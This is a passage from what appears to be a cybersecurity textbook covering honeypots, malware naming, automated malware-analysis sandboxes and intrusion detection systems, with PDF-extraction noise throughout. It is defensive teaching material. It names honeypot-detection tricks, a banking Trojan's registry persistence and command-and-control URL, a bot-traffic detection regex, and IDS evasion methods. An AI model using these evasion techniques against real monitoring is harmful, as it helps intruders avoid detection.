High-interaction honeypots provide more information on malicious
activity than low-interaction honeypots but require more resources
to analyze and maintain. Creating and maintaining a high-interaction honeypot consume significant resources because they typically
involve customized technologies such as firewalls, intrusion detection
systems (IDSs), and virtual machines, which need frequent rebuilds
after compromise. Honeypot analysis consumes large quantities of
time and resources, as this type of honeypot logs the full attack and
subsequent activity, not just the initial inbound connection; however,
after an attack, the system will remain compromised and will require
cleansing. A heightened level of risk is involved with a compromised
honeypot because the attacker can launch further attacks on other
systems. Investigations would show the honeypot as the source of the
attack, which raises legal concerns.
Many commercial and open-source honeypot solutions are available and vary in intended use. Typically, honeypots act as a decoy to
lead attacks away from production systems. Specter, a commercial
honeypot, is an example of a low-interaction honeypot that advertises vulnerabilities and acts as a decoy and data collection solution.9
A collection of honeypots used to simulate a network of systems,
known as a honeynet, requires a system called a honeywall to capture
and analyze the data on the network and contain the risks presented
Internet
Production
Network
Attacks
Production
Router
Honeypot
Honeypot
Database Server E-mail Server
DMZ
Honeynet
Gateway
Honeypot Honeyclient
Web Server
Honeyclient
Exhibit 5-3â•… A honeynet infrastructure.
by these high-interaction honeypots.10 Exhibit 5-3 shows a honeynet’s infrastructure, including the honeynet gateway residing in the
demilitarized zone (DMZ) to expose its vulnerable infrastructure for
inbound attacks.
Honeypots can also collect malicious code. Applications like
Nepenthes also advertise vulnerabilities and capture and download
malicious code or analyze shellcode resulting from exploitation.
Nepenthes also includes submission modules to submit captured malicious code to a number of other servers including Norman’s SandBox
for analysis.11 Honeypots also have the ability to track spam e-mail.
Honeyd, a lightweight honeypot daemon configured to simulate a
mail relay or open proxy, captures e-mail spam for tracking and spam
filter creation.12 Honeypots are not limited to servers capturing information regarding malicious activity. Capture-HPC13 and MITRE’s
Honeyclient14 are client-based honeypots that act as clients interacting
with malicious servers to download malicious code and log changes
made to the system. For more honeypot-related applications, the
Honeynet Project offers a list of projects available for download.15
The legality of honeypot deployment is under constant debate and
generally involves discussions on entrapment, privacy, and liability.
Entrapment occurs when a law enforcement officer or agent induces
a person to commit a crime that the person would be unlikely to
28 0
commit. Entrapment does not apply to honeypots, as they do not
induce the attacker to break into the system. In addition, entrapment is a defense to a crime, meaning one cannot sue another for this
reason. Privacy raises a big issue with honeypots in regard to logging information on attackers. The Federal Wiretapping Act and the
Electronic Communication Privacy Acts, among others, come into
play when logging an attacker’s activity. Typically, a logon banner
stating that the server monitors and logs activity proves enough for to
waive attackers’ privacy laws. Liability in the event of a compromised
honeypot used to attack another system is a major legal concern.16
Consultation with a legal team can reduce the occurrence and impact
of these legal issues before deploying a honeypot.
Honeypots lure attackers into performing malicious actions within
their systems for information-gathering purposes; however, seasoned
attackers can detect a honeypot. An attacker who knows that he or
she is in a honeypot will not perform the malicious activity that the
honeypot intends to catch, or he or she avoids the honeypot’s ability to log activity before he or she performs the activity. Honeypot
detection techniques range in complexity and depend on the honeypot technology in use. Emulated services used in low-interaction
honeypots may not perform exactly as the real service does. An
attacker can use comparative analysis between a real service and an
emulated service to detect a honeypot. The detection methods for
high-interaction honeypots include virtualization checks, network
traffic modification, and latency checks. Most high-interaction honeypots run in a virtualized environment, which allows attackers and
malicious code to check for strings and environmental settings to
fingerprint a honeypot. An example of an environmental setting used
in a virtualized system is registry values added for virtual devices
required for the guest OS to utilize hardware. Honeynets require
data control to limit outbound attacks, and analyzing outbound network traffic for modification or connection blocking is an indication
of a honeynet. For example, honeynets typically employ snort inline
to scrub outbound attacks, and a popular test attempts to run /bin/
sh on an external host to see if a snort modifies the packet or drops
the connection. High latency from communication tests can provide
an indication of a honeypot using logging modules. Modules used for
logging typically log all activity performed on the system; therefore,
running instructions that increase the load on the system results in
network latency. A common example of this detection method uses
the dd command to copy an endless amount of data to /dev/null,
which produces overwhelming amounts of data for the honeypot to
log. The ping command can check the network latency during the
heavy load that the dd command invokes.
Honeypots provide security professionals and network administrators with information on state-of-the-art attack techniques seen in
the wild. Using this information to implement security safeguards
strengthens a network’s posture and reduces exposure to threats.
Proactive responses to threats and attacks are possible with obtained
information, which makes honeypots valuable tools to help survive
the malicious nature of the Internet.
5.3â•‡ Malicious Code Naming
This section clarifies the malicious code–naming conventions within
the industry, which can be confusing and difficult to reference. The
differences in procedures used by antivirus tools and those used by analysts are at the heart of the problem. This section also discusses in depth
this and other challenges to naming malicious code consistently.
Many security researchers and administrators confuse viruses with
one another because of the way that antivirus companies name or refer
to them. There are several reasons for the confusion, and a few organizations are trying to improve the currently dismal state of malicious
code naming in the antivirus industry. Some basic tools and advice can
help administrators determine whether they, in fact, are dealing with a
generic virus name or one that accurately describes the entire malicious
code family. Administrators might expect that antivirus detection
names would be a good metric to determine the malicious code family; however, this is often not an accurate or reliable measurement. The
media and researchers often tend to use different names, sometimes
even within the malicious code itself, while other professionals may
alter or hide the true name of the virus for their own reasons. Many
factors make analysts the best sources for determining the name of a
malicious code over any other currently available automatic solution.
iDefense analysts usually assign a malicious file a new name when
nothing previously describes it or when it provides a more valuable
28 2
Cy ber Se curit y E s senti a l sï»¿
ANTI-VIRUS VENDOR
VIRUS NAME
AntiVir
Avast
AVG
BitDefender
ClamAV
DrWeb
F-Secure
GData
Kaspersky
McAfee+Artemis
Microsoft
NOD32
Panda
SecureWeb-Gateway
Sophos
TrendMicro
VBA32
DR/Delphi.Gen
Win32:Trojan-gen {Other}
VB.FTL
Trojan.AgentMB.CSDN4118442
Trojan.Downloader-35380
Trojan.MulDrop.origin
Suspicious:W32/Malware!Gemini
Trojan.AgentMB.CSDN4118442
Trojan.Win32.VB.ieq
Generic!Artemis
VirTool:Win32/CeeInject.gen!J
probably a variant of Win32/Injector.DV
Suspicious file
Trojan.Dropper.Delphi.Gen
Sus/Dropper-R
WORM_SOBIG.GEN
Trojan.Win32.VB.ieq
Exhibit 5-4â•… An antivirus scan of a typical banking Trojan.
reference point. Other organizations may have different policies about
renaming viruses when they create detections for them because it
prevents the revealing of new hacking tools and techniques to attackers. Similarly, attackers can insert fake authors, tool names, or other
details to confuse analysts. To determine if a malicious program
already has a malicious code name, analysts can use online virusscanning services such as Virustotal or av-test.org. As an example,
Exhibit 5-4 displays the results of such a scan showing the detection
for a typical banking Trojan.17
In these Virustotal results, seventeen out of thirty-eight (44.74
percent) antivirus engines detect this file as malicious. Despite the
average rate of detection from various antivirus companies, none of
them indicates either the true name of the virus family or the fact
that its purpose is to target banks. Naming a malicious file using
this technique is highly likely to be wrong or too generic to convey
any useful information; however, it is very easy and quick for anyone
to do. It does not require any understanding of the code or its purpose. Despite weaknesses in this technique, administrators may be
able to use detection names to research the threat further and potentially identify a similar threat and malicious behavior. This is not
completely reliable because signatures often detect generic threats,
packed or hidden code, and behavior rather than malicious code
names that convey the most information. As an example, an antivirus product may name two different files the same if they download additional functiality (downloaders) or if the antivirus engine
detects the same type of packer used against two completely different
threats. Using automatic programs such as antivirus programs is a
useful preliminary step to help determine the risk of a malicious file,
but such programs are not as accurate or reliable as reverse engineering or behavioral analysis. The signatures are a technique for analysts
to write and improve detection of threats but may not require the
engine or analyst to analyze the purpose of the code. Antivirus scanning products have a one-to-one relationship between a signature
and a detection name. This helps them track alerts from customers
but often does little to help customers understand the nature of the
threat, especially with generic signatures.
There are many reasons for the differences between the naming
that researchers and reverse engineers use compared to that of automatic antivirus scanning products. Analysts do not suffer from many
of the same problems because they are able to collect and inspect
many different things that are not available to antivirus products.
Observing network traffic, modified or created files, memory contents, and other information from reverse engineering the binary
or the propagation technique allows analysts to more accurately
identify and name malicious files; however, such naming is still
imperfect. The detection of the banking Trojan, mentioned above,
carries just as many different and unique names that researchers use
to describe it. Researchers commonly refer to this particular code
as wsnpoem/ntos, Zeus/zbot, and PRG. This type of naming depends
upon awareness rather than an automated tool, and is therefore subject to human error or purposeful renaming when multiple researchers are to assign different names. Multiple names could be the result
of private information. For instance, iDefense names new viruses
when there is no public information available for them; however,
when a public analysis or virus name becomes available, it becomes
necessary to identify that both threats are, in fact, the same based
upon behavior or other attributes.
Antivirus names use many different categories, and they all follow
the same format:
28 4
Family_Name.Group_Name.Major_Variant.Minor_
Variant[:Modifier]18
Although this format is common, many antivirus vendors have a lot of
flexibility when they name a new virus, including the family, group,
and variant names. Common types include generic or heuristic (heur for
short) in their names. Administrators should understand the meaning
of antivirus product naming that they use in their environments by
referring to naming documentation from vendors.19
Other virus names may originate through an analyst’s creativity or
a virus’s circumstances. For instance, the W32/Nuwar@mm threat
actually originated from e-mails that initially spread using the attention-grabbing headline “Nuclear War.” Researchers know this threat
better as “Storm Worm” because it also spread using a different e-mail
subject line, such as “230 dead as storm batters Europe.” In fact, the
community disputed the naming of this particular virus as a worm
because it spreads using massive e-mail campaigns.
There is also some disagreement between different organizations
on whether to depend upon attacker-supplied information to name
viruses. Some researchers argue that hiding the names can protect
the innocent, for instance if the attacker artificially inserts an enemy’s
name or website out of spite. Hiding real names or mutating them
also attempts to hide origin. This prevents attackers from identifying new tools from new virus names. Mutating names can also help
protect an innocent website or avoid giving out information that may
allow new attackers to locate public tools. For example, Brian Krebs
of the Washington Post documented one such incident related to the
virus named Blackworm, Nyxem, My Wife, and Kama Sutra. The
origins of each name are clear if you understand how the malicious
code works, but it can often be difficult to determine that they are, in
fact, equivalent threats (see Exhibit 5-5).
VIRUS NAME
EXPLANATION
Blackworm
Creates \WINDOWS\system32\About_Blackworm.C.txt
Nyxem
Target the New York Mercantile Exchange (Nymex)
My Wife/Kama Sutra
Subjects surrounding the e-mail attacks
Exhibit 5-5â•… Virus names and their explanations.
Different goals and perspectives influence the naming of viruses
and may encourage researchers to invent new names even when an
existing name is already available. According to Brian Krebs, Nyxem
was derived by transposing the letters m and x in Nymex, a shorthand
term for the New York Mercantile Exchange.20
Virus names are often cryptic on purpose because of a lack of
verifiable information. Overlapping names can further confuse naming when an antivirus product assigns a well-known name to a new
or unknown virus. For example, iDefense analyzed a Chir.B worm
variant in 2007 that the Avast antivirus scanning engine determined
was a much older threat called Nimda (or Win32:Nimda [Drp]). The
reason for the alert is that the signature detected the behavior of the
file-infecting worm functionality and assigned an older name that
has the same behavior. The detection of new threats is commendable
using older signatures, but it is clear that rule writers are not able
to express themselves sufficiently to tell users what an alert actually
means and whether it detects a behavior, a particular virus, or something else. Analysts cannot predict the future evolution of viruses;
therefore, it is difficult to choose names reliably that will not detect
multiple threats.
The Common Malware Enumerations (CME) list, while encouraging in its early days, never reached a critical mass and was not sustainable with the large volume of new viruses and limited resources.
It provided a catalog of thirty-nine total different threats over several
years with naming from various antivirus vendor names and virus
descriptions. Although using this as a tool to investigate potential
virus names and families can be useful to administrators, it has been
largely neglected during the last two years according to the CME website.21 Groups like the Computer Antivirus Researchers Organization
(CARO) have experienced similar problems when attempting to standardize the naming of viruses.22
5.3.1â•‡ Concluding Comments
Administrators should attempt to understand abbreviations and standard naming conventions for incidents because it may help them look
for certain behavior or ask questions; however, dependence on virus
naming is not reliable or capable of conveying enough information to
28 6
be very useful. Analysts and reverse engineers are still the best sources
for identifying virus families because of the high variation of names
assigned to viruses. Extensive research, including reverse engineering and behavioral analysis, is usually necessary to determine how to
name a threat accurately.
5.4â•‡ Automated Malicious Code Analysis Systems
The massive volume of distinct pieces of malicious code in existence
exceeds the capacity of human analysts. Fortunately, researchers
can automate much of the initial analysis. This automation allows
much greater efficiency and prioritization of analysis of malicious
code samples.
With attackers producing tens of thousands of new pieces of malicious code every day, 23 it is impossible to analyze each sample by
hand. Behavioral analysis, the process of running an executable in
a safe environment and monitoring its behavior, is one way to determine what malicious code does. Automated malicious code analysis
systems (AMASs) perform this process quickly and efficiently to produce a report that a human analyst can use to determine what actions
the malicious code took. In this section we explore the advantages
and disadvantages of different techniques used by AMASs to analyze
malicious code.
In recent years, researchers have built many AMASs that differ
in capability and analysis techniques but all operate under the same
principle. To be effective, malicious code has to perform some action
on the infected system, and monitoring the malicious code’s behavior is a useful way to determine the malicious code’s functionality.
Behavioral analysis cannot determine everything that malicious code
is capable of, but it can tell you what malicious code will do under
certain circumstances. There are two main techniques to analyze the
behavior of malicious code:
1.Passive analysis: Record the state of the system before and
after the infection. Then, compare these states to determine
what changed.
2.Active analysis: Actively monitor and record malicious code
actions during execution.
Clean
Analysis
Infected
Exhibit 5-6â•… An automated malicious code analysis cycle.
5.4.1â•‡ Passive Analysis
Passive analysis is the hands-off approach to behavioral malicious code
analysis. All it requires is a computer to infect, some way to capture
the state of that computer, and a way to restore the system to its original state. Passive analysis systems work in the three-stage cycle shown
in Exhibit 5-6. First, someone installs the operating system and any
necessary applications on a computer, recording the “clean” state. The
recorded information includes any features of the system that malicious code might alter, such as the file system and Windows registry.
Second, the malicious code in question is executed on the system
for a period of time. The amount of time depends on how quickly the
analysis must be performed. Two- to three-minute runtimes are common, as this is normally a sufficient amount of time for the malicious
code to complete its initial installation.
After the malicious code infects the system, it must be shut down
before an external system analyzes its disk and memory to record the
new “infected” state. An external computer may be used to record the
infected system’s state to avoid any interference from the malicious
code. Malicious code often hides files and processes from the user
using rootkits, but an external system (such as a virtual machine host
or a system working from a copy of the infected disk) is not susceptible to this interference.
During the analysis stage, the external system compares the
infected state to the clean state already recorded. AMASs can make
comparisons between any features of the system that have a state.
Common analysis features include the following:
28 8
Clean
Changes
Relevant
Changes
Infected
White List
Exhibit 5-7â•… A passive analysis comparison process.
•
•
•
•
•
File system
Windows Registry content
Running processes
Listening ports
Memory contents
The comparison between the clean and infected states is where
the passive analysis system shines. The analysis typically consists of
two stages (see Exhibit 5-7). In the first stage, it compares the clean
and infected states and creates a list of all changes in the monitored
features. While it may seem that this list of changes is sufficient, it
is important to remember that while the malicious code was infecting the system, Windows was also performing thousands of tiny
tasks that might also make changes to the file system. This is especially true if anyone has rebooted the system since the original clean
state was recorded, as might be the case in analysis systems that
use physical hardware. To filter out these nonmalicious changes, the
system uses a second stage (middle section) to remove all entries
that are included in a predefined white list. The result is a report that
contains all changes on the system that are relevant to the malicious
code analysis.
In addition to static information about the malicious code (file
name, size, and MD5), the resulting report might contain the following information:
New files:
• C:\WINDOWS\system32\lowsec\user.ds
• C:\WINDOWS\system32\lowsec\local.ds
• C:\WINDOWS\system32\sdra64.exe
Registry modifications:
• Key:
HKLM\software\Microsoft\Windows
NT\
CurrentVersion\Winlogon
• Old Value: “Userinit”=“C:\\WINDOWS\\system32\\
userinit.exe”
• New Value: “Userinit”=“C:\\WINDOWS\\system32\\
userinit.exe, C:\\WINDOWS\\system32\\sdra64.exe”
This information shows us that not only did the malicious code create
three new files but also it altered the Windows Registry so that the
file sdra64.exe is run when the user logs on to the system.
Passive analysis systems also frequently include network monitoring, as long as the monitoring system occurs outside of the infected
system. Network traffic is a key component to many AMASs because
it includes any external communication the malicious code might
make and reveals the source of the malicious code’s command-andcontrol (C&C) server if one exists. In the mentioned example report,
analysis of the network traffic revealed that the URL visited was
http://index683.com/varya/terms.php.
Knowing that the malicious code visits this particular website is
very valuable. Security personnel can search proxy logs for any systems
that visited this site to pinpoint infected systems. Blocking access to
this URL will also help prevent the malicious code from conducting
its malicious activity.
Malicious code cannot typically detect a passive analysis system
because the system does not interfere with its operation. Malicious code
can make passive systems ineffective by taking advantage of the system’s analysis timeout. If the system only allows the malicious code to
run for three minutes before recording the infected state, the malicious
code could simply sleep for four minutes before taking any action.
While passive analysis is simple, it cannot tell the malicious code’s
entire story. For instance, if the malicious code creates a temporary file
while installing its components and then deletes that file before the
system captures the infected state, the analysis report will not include
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this evidence. Passive monitoring also fails to capture the timeline of
the infection. The sample report above shows that the malicious code
creates three files, but it does not show the order in which the malicious code created them. It is possible that the malicious code created
sdra64.exe first, and that executable created the additional files. To
capture this information, the system must actively monitor the malicious code.
5.4.2â•‡ Active Analysis
Unlike passive systems, active analysis AMASs install software on
the soon-to-be-infected system that monitors the malicious code and
keeps a log of its activity. This process creates a much more complete
report that can show the order in which the malicious code made
changes to the system during the infection and can record which
specific process took each action. Some may classify many modern
Trojans as downloaders, as their primary functionality is to download
and execute a secondary payload. Active analysis systems can differentiate between files and registry keys created by the downloader and
those created by the new file. This functionality is one way that active
systems provide much more detail than a passive system ever could.
One way that active systems monitor malicious code activity is
through a process known as application program interface (API) hooking. An API hook allows a program to intercept another application’s
request for a built-in Windows function, such as InternetOpenUrlW(),
which applications use to make requests for Web pages. API hooking
is a technique often used by rootkits because it allows malicious code
to not only record what the user is doing but also alter the data sent
to and returned by the API function. A rootkit might use this to hide
the presence of particular files or ensure that the user does not stop
any of its malicious code processes.
Active analysis systems can install their own rootkits that hook
the APIs that the malicious code will use, allowing it to keep track
of every API call the program makes. If malicious code can detect
the AMAS processes, it could simply exit without taking any actions
that would reveal its functionality. This is the primary disadvantage to
active systems, but a well-written rootkit can hide its own processes to
prevent the malicious code from detecting it and altering its behavior.
Active systems are not vulnerable to the same waiting technique that
malicious code uses to fool passive systems. An active analysis rootkit
can hook the sleep()function that malicious code uses to delay execution and then alter the amount of time the malicious code sleeps to
just 1 millisecond.
Active analysis systems also work in a cycle between clean and
infected states, but do not require a comparison of the clean and
infected states to perform their analysis. After the malicious code
completes execution or runs for the maximum time allowed, the system records the activity in a report and begins restoring the system to
the clean state.
Another form of active analysis involves using an emulator rather
than infecting a traditional operating system (OS). The most prominent emulation-based analysis system is the Norman SandBox.24
Instead of installing a rootkit and hooking the Windows APIs,
Norman created software that emulates the Windows OS. When
malicious code running in the Norman SandBox makes a call to the
sleep()function, it actually calls a Norman function that acts just like
the Windows sleep()function. Malicious code can detect emulated
systems if they do not perfectly mimic the operating system’s API,
and malicious code authors frequently attempt to evade these systems.
The main advantage of emulated systems is speed. Emulated systems
do not require swapping between a clean and infected state and can
run the malicious code faster than a standard OS because they do not
need to provide full functionality of each API; they need merely to
emulate the OS in a convincing way. For any organization that processes thousands of samples each day, speed is a key factor in rating
an AMAS.
5.4.3â•‡ Physical or Virtual Machines
For nonemulated AMASs, both passive and active, analysis time is
spent in two primary categories. First, time is spent allowing the
malicious code to execute. If the runtime is too short, the analysis
might miss a critical step taken by the malicious code, but the more
time allotted for the malicious code to run, the longer the system
takes to generate a report. The second major source of analysis time
is restoring the infected system to a clean state. This must be done to
2 9 2
prepare the system for the next analysis and makes up a significant
portion of the analysis time.
Virtualization systems like VMWare and VirtualBox have many
features that make them an excellent choice when developing an
AMAS. These programs allow a user to run one or many virtual
computer(s) on top of another OS. Researchers use these systems
to run many analysis instances on a single physical computer, saving time, power, and money. Virtual machines (VM) also have the
ability to store a clean “snapshot” of the operating system. After the
analysis is complete, restoring the system to the clean snapshot typically takes less than 30 seconds; however, as with active analysis systems, it is possible for malicious code to detect that it is running in
a VM and alter its execution path to trick the system into producing
an inaccurate report. One recent example of VM-aware malicious
code is Conficker, which did not execute in VMs in order to increase
analysis difficulty.
Physical machines are not as simple to restore compared to their
virtual counterparts, but there are multiple options available. One
possible solution is Faronics DeepFreeze. 25 DeepFreeze is a Windows
program that allows administrators to revert a system to a clean state
each time it reboots. Internet users at universities and Internet cafes,
where many users access the same pool of computers, commonly use
DeepFreeze. iDefense tested DeepFreeze for use in one sandbox and
found that it was not sufficient to prevent malicious code from altering the system. Software solutions are not reliable for this purpose
because malicious code can disable them or use methods to write to
the disk that the software does not monitor.
CorePROTECT makes a hardware product named
CoreRESTORE that acts as an interface between a computer’s integrated drive electronics or advanced technology attachment (IDE/
ATA) controller and hard drive (Exhibit 5-8).26 CoreRESTORE
prevents the system from making any changes to the disk but returns
data as though someone already altered the disk. This solution is effective but is only available for systems that use IDE/ATE interfaces.
A third solution is to save a complete copy of the system’s hard drive
in a clean state and write this copy to the system’s disk each time a
restoration is necessary. Joe Stewart of SecureWorks first introduced
this method in The Reusable Unknown Malware Analysis Network
Exhibit 5-8â•… A CoreRESTORE ATA/IDE bridge.
(TRUMAN) system, and iDefense currently uses this method in its
Malcode Rapid Report Service (ROMAN). This method takes two
to three minutes per analysis but is undetectable by malicious code
and ensures that each analysis begins with a known clean image.
Pure passive and active analysis systems are common, but there is
no reason that a single system cannot employ techniques from both
categories. iDefense is currently developing a new AMAS known
internally as Automal, which uses a combination of passive and active
analysis using a custom rootkit. The primary functionality of Automal
is based on memory forensics using custom plug-ins for the Volatility
framework.27 Memory forensics is relatively new in the world of
AMAS but allows systems to discover critical information about data
and processes that are hidden from tools running on an active system
and show no evidence in features typically monitored by passive systems. Automal runs Volatility on a snapshot of the infected system’s
memory when the system is offline, which prevents the malicious
code from detecting it or changing tactics based on its use. AMASs
are valuable tools to anyone who regularly analyzes malicious code,
not just to those who process thousands of samples per day. Many
organizations do not have the resources or need to develop their own
AMASs. Fortunately, many are available free online. Table 5-4 shows
some of the most popular AMASs currently available.
Each system uses a different analysis mechanism and may return
different results. Submitting files to multiple systems can be beneficial since the combination of the resulting reports may be more
2 9 4
Table 5-4â•… Current Popular AMASs
SYSTEM NAME
Norman Sandbox
Sunbelt CWSandbox
Anubis
ThreatExpert
TRUMAN
Comodo
BitBlaze
JoeBox
URL
http://www.norman.com/security_center/security_tools/submit_file/en-us
http://www.sunbeltsoftware.com/Developer/Sunbelt-CWSandbox/
http://anubis.iseclab.org/index.php
http://www.threatexpert.com
http://www.secureworks.com/research/tools/truman.html
http://camas.comodo.com
https://aerie.cs.berkeley.edu
http://www.joebox.org
complete than what a single system can produce. Using AMAS is
an excellent first step during any malicious code investigation, as a
fully automated analysis can be performed quickly and requires little
human interaction.
5.5â•‡ Intrusion Detection Systems
Network security encompasses any safeguards deployed to increase
the safety of interconnected systems and the information that traverses the network between these systems. Connecting computers
allows for communication and the exchange of information, but also
exposes these computers to threats from remote locations. This exposure to external threats needs a monitoring and detection solution to
ensure the safety of interconnected systems. In this section, iDefense
describes a network detection solution called an intrusion detection
system (IDS).
Every day, new vulnerabilities and malicious code threaten systems on networks. The constant update of threats requires strenuous patching schedules and antivirus updates. Patching and antivirus
updates in an enterprise environment take time, which prolongs the
period in which devices are vulnerable. In the event that no patch
exists for a given vulnerability (such a case is known as a zero-day
vulnerability), devices are vulnerable for an even longer period while
the vendor develops a patch. There is a need for systems to detect
vulnerabilities and malicious code activity during these vulnerable
periods. An IDS can satisfy this need very quickly, as these devices
can receive one update and detect malicious activity across an entire
network of computers.
D ef ense a n d A n a lysis T e c hni q ue s Firewall
IDS
295
Switch
Switch
Firewall
IDS
Exhibit 5-9â•… Out-of-line and inline topologies.
An IDS is a device that monitors network traffic for malicious
activity. IDS devices, referred to as sensors, detect malicious activity by searching through traffic that traverses a network. The IDS
sensor requires access to network packets, which is possible through
two different implementations called out of line and inline. Exhibit 5-9
shows the difference in network topologies between out-of-line and
inline sensors.
Out-of-line sensors connect to a switched port analyzer (SPAN),
an action also known as monitoring, port mirroring, or a network tap. A
SPAN port is a port on a network device, such as a switch or firewall,
that receives a duplicate feed of the real-time traffic for monitoring
purposes. A network tap operates in a similar manner; however, these
are standalone devices that send and receive traffic between two ports
and have a third port that receives a copy of this traffic for monitoring
purposes. Out-of-line sensors connected to a SPAN either port or tap
monitor traffic and produce alerts in response to malicious activity.
Inline sensors differ from out-of-line sensors in that they physically
sit in the path of the network traffic. Network traffic travels from its
source through the inline device to its destination. The inline sensor
checks the traffic sent through it for malicious activity to produce
alerts or block the malicious activity. Inline sensors configured to
block malicious traffic, known as intrusion prevention systems (IPSs),
have a greater impact on reducing the occurrence of malicious activity
on a network.
2 9 6
Both types of sensors use rules, also known as signatures, to detect
malicious activity. IDS sensors rely on these signatures to detect malicious activity; therefore, the overall effectiveness of an IDS sensor
mostly depends on the caliber of the signatures. Most IDS vendors
have different rule structures or languages, but such rules generally
use content matching and anomalies to detect events.
Content-matching rules use specific pattern matches or regular
expressions to search network traffic for specific strings or values associated with malicious traffic. These rules are very specific and require
prior knowledge of the particular malicious content within network
activity. The use of regular expressions provides flexibility to a signature by allowing it to search for multiple variations of a string. For
example, the following shows a content match and regular expression
that search network activity for HTTP GET requests related to a client infection. The content match is static and straightforward, but the
regular expression enhances the effectiveness and accuracy by searching for multiple different actions.
Example HTTP request:
GET /controller.php?action=bot&entity_list=&uid=1&firs
t=1&guid=412784631&rnd=94
Content Match
“GET /controller.php?action=“
Regular Expression
“/GET\s/controller.php?action=(bot|loader|report)/”
Sensors also detect malicious activity based on anomalous network
traffic. These anomalies include protocol-specific anomalies and traffic
thresholds. Network protocols abide by standards, and abnormalities
to these standards are an indication of suspicious activity. Signature
authors capitalize on these protocol abnormalities to detect malicious
activity. For example, Exhibit 5-10 shows such a protocol anomaly
witnessed within the HTTP header of a GET request generated by
an infected client. The malicious code author added the fields SS and
xost to the header, allowing for easy detection by an IDS signature as
they are not part of the HTTP protocol.
Traffic thresholds detect anomalous increases in traffic compared
to a baseline amount of traffic. This approach requires a baseline figure that accurately represents the normal amount of traffic expected to
Exhibit 5-10â•… Abnormal fields within an HTTP header.
observe an increase. The baseline figure needs constant adjustments to
reflect legitimate increases and decreases in traffic patterns. Without
these adjustments, the IDS will generate many alerts on legitimate
traffic and waste investigative resources. Threshold-based detection
does not often detect a specific threat but provides a heuristic approach
to malicious activity detection. These events require investigation to
determine the specific issue, as they are prone to trigger on nonmalicious traffic.
By name, IDS suggests that such systems simply detect inbound
attempts to gain entry to a device; in reality, they have the ability to
detect much more. An IDS device can detect any type of malicious
activity that traverses a network based on the rules used for detection,
with some exceptions described later in this section. The success of an
IDS device in detecting a particular event depends on the accuracy
and flexibility of the signatures within its rule set.
A rule set is a list of signatures that the IDS device uses to detect
malicious activity. IDS vendors supply a rule set for their products,
and many allow the creation of custom signatures. The signatures
within these sets can detect inbound attacks on servers and clients,
malicious code infections, and propagation.
An IDS device has the ability to detect inbound attacks on a server
or client from specially crafted signatures. To detect these attacks, the
signature author needs prior knowledge of the attack or the vulnerability to match its network activity. Equipped with a signature for
the attack or vulnerability, the IDS sensor can detect the activity and
trigger an alert for the possible compromise on the destination. The
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IDS, however, is unable to determine if the end system was vulnerable
to the detected attack. An investigation is pivotal to determine if the
attack was successful.
Rules can also detect worm propagation via content matches or
anomalies. The content match approach requires prior knowledge of
the network activity the worm generates when it attempts to spread
to other systems. A signature match provides the source of the worm
propagation, which is an infected system that needs remediation. An
investigation of the destination in this event will determine if the
worm successfully spread to the system.
An anomaly-based rule can provide worm detection in a heuristic manner. By using thresholds, a signature can trigger an alert on
an increase in traffic over a worm-able service, such as MS-RPC,
NetBIOS, or SUNRPC, to investigate a possible worm outbreak. For
example, if an increase in traffic occurs from one system over Microsoft
NetBIOS port 139, it could be a worm attempting to propagate to
other systems. This alert, however, could also be the result of a legitimate file transfer to a shared resource. This shows the need for investigation to determine the cause for the anomalous increase in traffic.
IDS sensors can be effective at detecting Trojans installed on compromised machines. Trojans communicate with their command-andcontrol (C&C) servers to download updated configuration files and
binaries, to receive commands to run on the infected systems, or to
drop stolen data. The network activity generated by this communication usually uses a common protocol, such as HTTP, to avoid rejection from a firewall. Content-matching rules specifically created for
the C&C communication can accurately detect Trojan infections.
The example HTTP request discussed previously in this section was
activity from a Trojan, and using the content match or regular expression in an IDS signature would successfully detect infected machines.
Occasionally, malicious code authors omit fields or include additional
fields to standard protocols within their code, which generates anomalous traffic, as seen in Exhibit 5-10. This allows an anomaly-based
IDS signature to detect the C&C traffic easily by searching for these
protocol abnormities.
IDS devices detect a variety of threats to a network, but they do
have issues that limit their effectiveness. IDS evasion is a concept that
encompasses all techniques used to avoid detection during malicious
activity. Varieties of techniques are available, but the most common
evasion methods include obfuscation, encryption, compression, and
traffic fragmentation.
Obfuscation, encryption, and compression can evade detection from
an IDS. IDS signatures searching for content as the result of malicious activity have difficulty matching if the known patterns change.
Although obfuscation, encryption, and data compression are different
in functionality and purpose, all three change the representation of
data transmitted over the network. Obfuscation of data and exploit
code evades detection through structural changes while retaining its
original functionality through encoding, concatenation, and obscure
variable and function names.
Encryption of data or the network traffic itself can evade detection from an IDS. An IDS signature can detect malicious activity
within unencrypted channels by searching for malicious content
within cleartext data sent over the network; however, an IDS has
difficulty detecting malicious activity within encrypted communications because it does not have the key to decrypt the cipher text into
cleartext data.
Compression changes the representation of data by passing it through
an algorithm to reduce the size of the data. Compressing information
is common for communication, as it requires less network bandwidth
to transmit such information from one device to another. Evading the
detection occurs when the sender compresses the data using a compression algorithm and sends the compressed data over the network
to the destination. The destination uses a decompression algorithm to
view the original data sent by the source. The IDS device sees the communication between the source and the destination but inspects the
compressed data, which does not resemble the original data.
Traffic fragmentation and reassembly can also evade IDS. Malicious
activity split into multiple different packets and sent from the source
to the destination requires the IDS to reassemble the fragmented
packets before inspecting the traffic. 28 For example, an attacker can
spread the transmission of the attack’s payload across fifty packets.
To detect the attack payload, the IDS sensor has to track and reassemble the fifty packets in memory and then scan the reassembled
payload using the rule set. Many fragmentation techniques are available to further complicate IDS evasion, such as fragment overlapping,
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overwriting, and timeouts, but such techniques do not fit inside the
scope of this book.
In addition to IDS evasion techniques, the network environment
that the IDS sensor monitors can affect the sensor’s ability to detect
malicious activity. Placement of the IDS sensor is key to monitoring
the appropriate traffic. Overlooking sensor placement leads to visibility issues, as the sensor will not monitor the correct traffic.
Placement in high-traffic areas can severely affect the performance
of the IDS sensor. Sensors in high-traffic environments require a great
deal of hardware to perform packet inspections. Packet inspections
become more resource intensive as the amount of traffic increases; if
the sensor does not have enough resources, it will fail to detect the
malicious traffic. This results in the IDS not creating an alert about
the malicious activity.
The rule set used by the IDS sensor also affects the sensor’s detection performance. To increase performance, each IDS vendor uses
different rule set optimization techniques. Despite the optimization
techniques used, the sensor checks all traffic monitored for signature
matches. Checking traffic with a smaller set of rules will result in
faster performance but fewer rules with which to detect malicious
content. Larger rule sets will perform slower than a smaller set but
have more rules for detecting malicious activity. This shows the need
for compromise between speed and threat coverage.
Threat coverage shows the need for another compromise. An overflow of alerts will dilute critical alerts and valuable information with
low-priority alerts and useless data. This dilution caused by excess
